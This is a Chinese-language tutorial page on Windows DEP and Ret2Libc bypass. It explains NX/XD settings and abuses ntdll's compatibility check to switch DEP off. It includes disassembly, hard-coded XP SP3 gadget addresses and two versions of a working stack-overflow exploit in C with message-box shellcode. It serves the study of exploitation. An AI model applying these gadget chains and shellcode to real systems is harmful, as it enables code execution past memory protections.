首页 > 代码库 > OD: DEP & Ret2Libc
OD: DEP & Ret2Libc
Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷。
DEP 的原理是将数据所在的内存页(默认的堆、各种堆栈页、内存池页)标记为不可执行,当试图执行不可执行页的数据时,CPU 抛出异常,转入异常处理。
MS 从 Windows XP sp2 开始支持 DEP。DEP 分为软件 DEP 和硬件 DEP,软件 DEP 即 SafeSEH。硬件 DEP 需要 CPU 的支持:AMD 和 Intel 都为此做了设计,AMD 称为 No-Execute Page-Protection (NX),Intel 称为 Execute Disable Bit (XD)。操作系统通过设置内存页的 NX/XD 标识位来进行可执行标记,NX/XD 为 0 时表示可以执行,NX/XD 为 1 时表示该页面不允许执行指令。
Windows XP 的硬件 DEP 通过启动参数来设置(boot.ini 中的 /NoExecute=<option>),<option>允许以下值:-------------------------------------------------------------------------------------------OptIn :用于普通用户版的 MS 系统,默认保护系统组件和服务,对其他程序不予保护。用户可以通过程序兼容性工具(ACT,Application Compatibility Tool)来为选定的程序开启硬件 DEP 保护,Vista 下经过 /NXcompat 选项编译的程序将自动开启 DEP。这种模式可被应用程序动态关闭。OptOut:用于服务器版的 MS 系统,为白名单之外的很有程序启用 DEP 保护,这种模式也可被应用程序动态关闭。AlwaysOn:强制 DEP。只有在 64 位的系统上才工作在这个模式?AlwaysOff:禁用 DEP。
/NXcompat 编译选项是 VS 2005 之后引入的选项,默认开启。采用 /NXcompat 编译的程序会在 PE 头中设置 IMAGE_DLLCHARACTERISTICS_NX_COMPAT 标识,该标识通过结构体 IMAGE_OPTIONAL_HEADER 中的 DllCharacteristics 变量来体现:当 DllCharacteristics 设置为 0x0100 时表示程序采用了 /NXcompat 来进行编译。经过 /NXcompat 编译的程序在 Vista 及后续的 MS 系统上会自动启用 DEP 保护。
DEP 的局限性为:
一,硬件 DEP 需要 CPU 的支持,在一些比较老的 CPU 上硬件 DEP 无法发挥作用。
二,由于兼容性原因 Windows 不能对所有进程都开启 DEP 保护(如一些第三方 DLL);另外使用 ALT 7.1 或者以前版本的程序需要在数据页上产生可执行代码,这时开启 DEP 会导致程序异常。
三,DEP 工作在 OptIn 或者 OptOut 时可以通过 API 来动态控制 DEP 状态,恰好早期的 OS 对这些 API 没有任何限制,所有进程都可以调用。
攻击未启用 DEP 的进程
DEP 保护的对象是进程级的。由于兼容性问题,MS 不能对所有进程都强制 DEP(64 位系统下的 AlwaysOn 除外)。当某个进程的加载模块中只要有一个模块不支持 DEP,这个进程就不能贸然开启 DEP。在最新的系统下依然有很多程序没有启用 DEP。
利用 Ret2Libc 来挑战 DEP
让程序跳转到一个已经存在的系统函数(必然在可执行页上)时,DEP 不会进行拦截。Ret2Libc 的原理正是如此。
Ret2Libc 是 Return to Libc 的缩写,其思路是:在可执行区域找到 shellcode 的部分替代指令,跳转到替代指令部位执行,执行完后需要有返回指令,以收回控制权,然后重复这个过程来执行下一部分 shellcode 的替代指令。简而言之就是为 shellcode 的第条指令都寻找到替代指令。这种方法理论上可行,但实际很难:就算每条指令都找到合适的替代指令,但要求每条替代指令所在的地址都不包含 0x00 是不太可能的,栈帧布置也是问题。
但在这种思路下,有三种经过改进的可以绕过 DEP 的方法:
一,通过跳转到 ZwSetInformationProcess() 将 DEP 关闭后再转入执行 shellcode。
二,通过跳转到 VirtualProtect() 将 shellcode 页面设置成可执行状态,再转入 shellcode。
三,通过跳转到 VirtualAlloc() 开辟一段具有可执行权限的内存空间,然后将 shellcode 复制到这个空间,再执行 shellcode。
Ret2Libc : ZwSetInformationProcess() 利用
进程的 DEP 设置标识保存在 KPROCESS 结构中的 _KEXECUTE_OPTIONS 上,这个标识可以通过 API 函数 ZwQueryInformationProcess() 和 ZwSetInformationProcess() 来查询和设置。(在 ntdll.dll 中 Zw*() 和 Nt*() 函数的功能是完全一样的,这里使用 NtSetInformationProcess() 也可以)。
_KEXECUTE_OPTIONS : 只要将此结构体置为 0x02 就能关闭 DEP Pos0 ExecuteDisable : 1 bit 进程 DEP 开启时置 1 Pos1 ExecuteEnable : 1 bit 进程 DEP 关闭时置 1 Pos2 DisableThunkEnulation : 1 bit 为兼容 ATL 程序设计 Pos3 Permanent : 1 bit 置 1 之后,这些标志位都不能再被修改 Pos4 ExecuteDispatchEnable : 1 bit Pos5 ImageDispathEnable : 1 bit Pos6 Spare : 2 bit
ZwSetInformationProcess() 的原型如下,Skape 和 Skywing 在他们的论文 Bypasing Windows Hardware-Enforced DEP 中给出了参数参考(见注释中):
ZwSetInformationProcess( IN HANDLE ProcessHandle, 进程句柄,-1 表示当前进程 // NtCurrentProcess() : -1 IN PROCESS_INFORMATION_CLASS ProcessInformationClass, 信息类 // ProcessExecuteFlags : 0x22 IN PVOID ProcessInformation, 用来设置 _KEXECUTE_OPTIONS // &ExecuteFlags : ptr to 0x02 IN ULONG ProcessInformationLength 第三个参数的长度 // sizeof(ExecuteFlags) : 0x04
);
这样一来,只要构造好栈帧,就能调用 ZwSetInformationProcess() 来关闭进程 DEP。但参数中有 NULL 0x00 截断符,自己构造参数会遇到麻烦。但 MS 的兼容性检查函数 LdrpCheckNXCompability() 提供了利用机会:若进程的 Permanent 位没有设置,当它加载 DLL 时,系统会对这个 DLL 进程兼容性检查,满足以下之一时系统会关闭进程的 DEP。
一,DLL 受 SafeDisc 版权保护系统保护时;
二,DLL 中包含 .aspcak、.pcle、.sforce 等字节时;
三,Windows Vista 中当 DLL 包含在以下注册表键中表明不需要启动 DEP 模块时:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions
可以利用 OllyDbg Plugin : OllyFindAddr 方便的找到系统 Windows 是如何关闭 DEP 的(见下图 Step1,Step2 - Step4 的结果对于关闭 DEP 也很有帮助):
如图,ntdll.dll(上图为 Windows XP sp3 with /NoExecute=OptIN)的 0x7C93CD24 处提供关闭 DEP 的功能,具体分析如下:
1 7C93CD13 55 PUSH EBP 2 7C93CD14 8BEC MOV EBP,ESP 3 7C93CD16 51 PUSH ECX 4 7C93CD17 8365 FC 00 AND DWORD PTR SS:[EBP-4],0 5 7C93CD1B 56 PUSH ESI 6 7C93CD1C FF75 08 PUSH DWORD PTR SS:[EBP+8] 7 7C93CD1F E8 87FFFFFF CALL ntdll.7C93CCAB // SafeDisc 检查,AL=1 表示是 SafeDisc 8 7C93CD24 3C 01 CMP AL,1 9 7C93CD26 6A 02 PUSH 210 7C93CD28 5E POP ESI11 7C93CD29 0F84 DF290200 JE ntdll.7C95F70E // 此跳转将 ESI 的值赋给 [EBP-4],然后返回12 7C93CD2F 837D FC 00 CMP DWORD PTR SS:[EBP-4],013 7C93CD33 0F85 F89A0100 JNZ ntdll.7C956831 // [EBP-4]=2,会转入关闭 DEP 流程,关闭后通过 LEAVE 调整栈帧,再以 RETN 4 返回14 7C93CD39 FF75 08 PUSH DWORD PTR SS:[EBP+8]15 7C93CD3C E8 36000000 CALL ntdll.7C93CD7716 7C93CD41 84C0 TEST AL,AL17 7C93CD43 0F85 E09A0100 JNZ ntdll.7C95682918 7C93CD49 837D FC 00 CMP DWORD PTR SS:[EBP-4],019 7C93CD4D 0F85 DE9A0100 JNZ ntdll.7C95683120 7C93CD53 FF75 08 PUSH DWORD PTR SS:[EBP+8]21 7C93CD56 E8 A6000000 CALL ntdll.7C93CE01 // .aspack 等字节检查22 7C93CD5B 84C0 TEST AL,AL23 7C93CD5D 0F85 B3290200 JNZ ntdll.7C95F71624 7C93CD63 837D FC 00 CMP DWORD PTR SS:[EBP-4],025 7C93CD67 0F85 C49A0100 JNZ ntdll.7C956831
以如上情况一即受 SafeDisc 版权保护需关闭 DEP 为例,只要一条指令将 AL 修改为 1,然后跳转到 0x7C93CD24 继续执行,Windows 就会关闭 DEP,之后 LEAVE 指令会调整栈帧(与 MOVE ESP,EBP; POP EBP 等价),再以 RETN 4(相当于 RETN; ADD ESP,0x04。执行后 ESP 一共增加了 0x08 字节)从关闭 DEP 的代码中返回。
OllyFindAddr 的结果中,Step 2 部分即为将 AL 修改为 1 的可选踏板地址。找一条不含 null 的系统模块地址作为踏板即可。
构造实验用的代码如下:
1 // dep.cpp : Defines the entry point for the console application. 2 // 3 // env 4 // * windows xp sp3 with /noexecute=optout 5 // * vs2008 with Optimization/GS/SafeSEH disabled 6 // add /SAFESEH:NO to project_properties - Linker - Command Line - Additional Options to disable SafeSEH 7 8 #include "stdafx.h" 9 #include <stdlib.h>10 #include <stdio.h>11 #include <string.h>12 #include <windows.h>13 14 char shellcode[]=15 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"16 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"17 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"18 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"19 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"20 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"21 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"22 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"23 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"24 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"25 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode26 "\x90\x90\x90\x90" // ebp27 "\x52\xE2\x92\x7C" // trampolining address : mov eax 0x1; ret28 "\x24\xCD\x93\x7C" // turn off DEP ( SafeDisk ), end with retn 0x429 ;30 31 void test(char* input)32 {33 char buf[168];34 strcpy(buf,input);35 }36 37 int main(int argc, _TCHAR* argv[])38 {39 LoadLibrary(_T("shell32.dll")); // more tramps for adjust ebp40 test(shellcode);41 return 0;42 }
上述代码中 test() 的返回地址被覆盖为 move eax,0x01; ret 的地址。ret 之后会回到第 28 行即关闭 DEP(SafeDisc)的地方继续执行。但关闭 DEP 过程中,需要对 ss:[ebp-4] 的位置进行写入操作,而这里 ebp 的数据已经被破坏成 nop * 4,无法写入,所以在关闭 DEP 之前还要构造可写的 ebp 地址,继续用跳板(插件 OllyFindAddr 中已经提供)。由于此时各寄存器中,只有 ESP 在可写的位置,所以只能使用 push esp, pop ebp, retn 4 作为跳板:
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode"\x90\x90\x90\x90" // ebp"\x52\xE2\x92\x7C" // trampolining address : mov eax 0x1; ret"\x02\x07\x76\x7D" // tramp to adjust ebp : push esp, pop ebp, retn 4"\x24\xCD\x93\x7C" // turn off DEP ( SafeDisk ), end with retn 0x4
但如此一来,ret 后 ebp 在 esp 的上方,栈帧畸形了,在关闭 DEP 的过程中会有数据入栈,这可能会覆盖到 ss:[ebp-4] 处的数据,进而影响传入 ZwSetInformationProcess() 的参数(关闭过程中会将 ss:[ebp-4] 处的数值 0x02 作为这个函数的参数压栈),导致关闭失败。将 shellcode 修改为上述形式后,再调试关闭 DEP 过程,可以发现 DEP 还是可以关闭的,因为 ss:[ebp-4] 被 0x22 填充了,原来要求指向 0x02 的参数指针现在指向了 0x22,但 0x22 的前 4 位和 0x02 是一样的,而关闭 DEP 只需要用到 _KEXECUTE_OPTIONS 结构体的前 4 位。但问题又出现了,关闭 DEP 后的返回地址被覆盖成了 ZwSetInformationProcess() 的参数 0x04,现在失去了对程序的控制权!
为了重新得到程序的控制权,这里的变通方法为:增加 esp 的值,使关闭 DEP 的过程不会破坏 shellcode。这里修改 esp 时不能直接对 esp 进行操作,否则还是会失去控制权,需要用诸如 retn n 的指令(先 ret 再 add esp n)。这里再次使用 OllyFindAddr - Find POP RETN+N - POP 数为 0,N 为 0x28:
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode"\x90\x90\x90\x90" // ebp"\x52\xE2\x92\x7C" // trampolining address : mov eax 0x1; ret"\x02\x07\x76\x7D" // tramp to adjust ebp : push esp, pop ebp, retn 4"\x6C\xD2\x92\x7C" // tramp to adjust esp : retn 0x28"\x90\x90\x90\x90" // slide nops for adjust ebp"\x24\xCD\x93\x7C" // turn off DEP ( SafeDisk ), end with retn 0x4;
在执行 0x7C92D26C 处的 retn 0x28 时,会先 retn 到 0x7C93CD24 处的关闭 DEP 流程,接着 add esp 0x28,然后转入关闭 DEP 流程。经过调试可以发现,关闭 DEP 后程序会用 LEAVE 重新调整栈帧,调整后 ESP 又会指向 EBP 的位置,在这里实际上 ESP 的值又减小了,回到了 shellcode 的尾部。
ESP 回到 shellcode 的尾部后,只要用 jmp esp 就可以将 EIP 指向栈帧中了,接着用一条回跳指令,转入 shellcode 执行即可:
1 // dep.cpp : Defines the entry point for the console application. 2 // 3 // env 4 // * windows xp sp3 with /noexecute=optout 5 // * vs2008 with Optimization/GS/SafeSEH disabled 6 // add /SAFESEH:NO to project_properties - Linker - Command Line - Additional Options to disable SafeSEH 7 8 #include "stdafx.h" 9 #include <stdlib.h>10 #include <stdio.h>11 #include <string.h>12 #include <windows.h>13 14 char shellcode[]=15 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"16 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"17 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"18 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"19 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"20 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"21 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"22 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"23 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"24 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"25 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode26 "\x90\x90\x90\x90" // ebp27 "\x52\xE2\x92\x7C" // trampolining address : mov eax 0x1; ret28 "\x02\x07\x76\x7D" // tramp to adjust ebp : push esp, pop ebp, retn 429 "\x6C\xD2\x92\x7C" // tramp to adjust esp : retn 0x2830 "\xFF\xB9\xD3\x7D" // slide nops for adjust ebp & jmp esp31 "\x24\xCD\x93\x7C" // turn off DEP ( SafeDisk ), end with leave; retn 0x432 "\xE9\x3B\xFF\xFF\xFF" // jump back 197 bytes33 ;34 35 void test(char* input)36 {37 char buf[168];38 strcpy(buf,input);39 }40 41 int main(int argc, _TCHAR* argv[])42 {43 LoadLibrary(_T("shell32.dll")); // more tramps for adjust ebp44 test(shellcode);45 return 0;46 }
这个实验中,用到了一些新的技巧,包括:
1. 修改寄存器状态,欺骗系统函数关闭 DEP
2. 调用系统函数的过程中,通过跳板、retn等调整寄存器数值(ebp、esp)以保证函数正常执行的变通技巧
实际高度代码并关注寄存器的变化十分重要!
需要注意的是,MS 在 2003 sp2 之后调整了 LdrpCheckNXCompatibility(),该函数执行时会对 ESI 附近的内存进行操作,这就要保证 ESI 附近的内存可读写,可以参照上文调整 EBP 的方法,用 push esp, pop esi, retn 来调整 esi,OllyFindAddr 中的 Step 4 会搜寻这类指令。但考虑到这类指令很难找,书中提供了一个变通的方法:
1. 找一条 pop eax, retn 指令作跳板来执行2. 执行 1 中的踏板时,找一条 pop esi, retn 指令,将这条指令的地址放置在栈顶(将地址保存到 eax 中)3. 找一条 push esp, jmp eax 指令作跳板跟在 1 之后执行
如上的方法等价于执行 push esp, pop esi, retn(书中提供了一个在 Windows 2003 sp2 中的实验代码)。
OD: DEP & Ret2Libc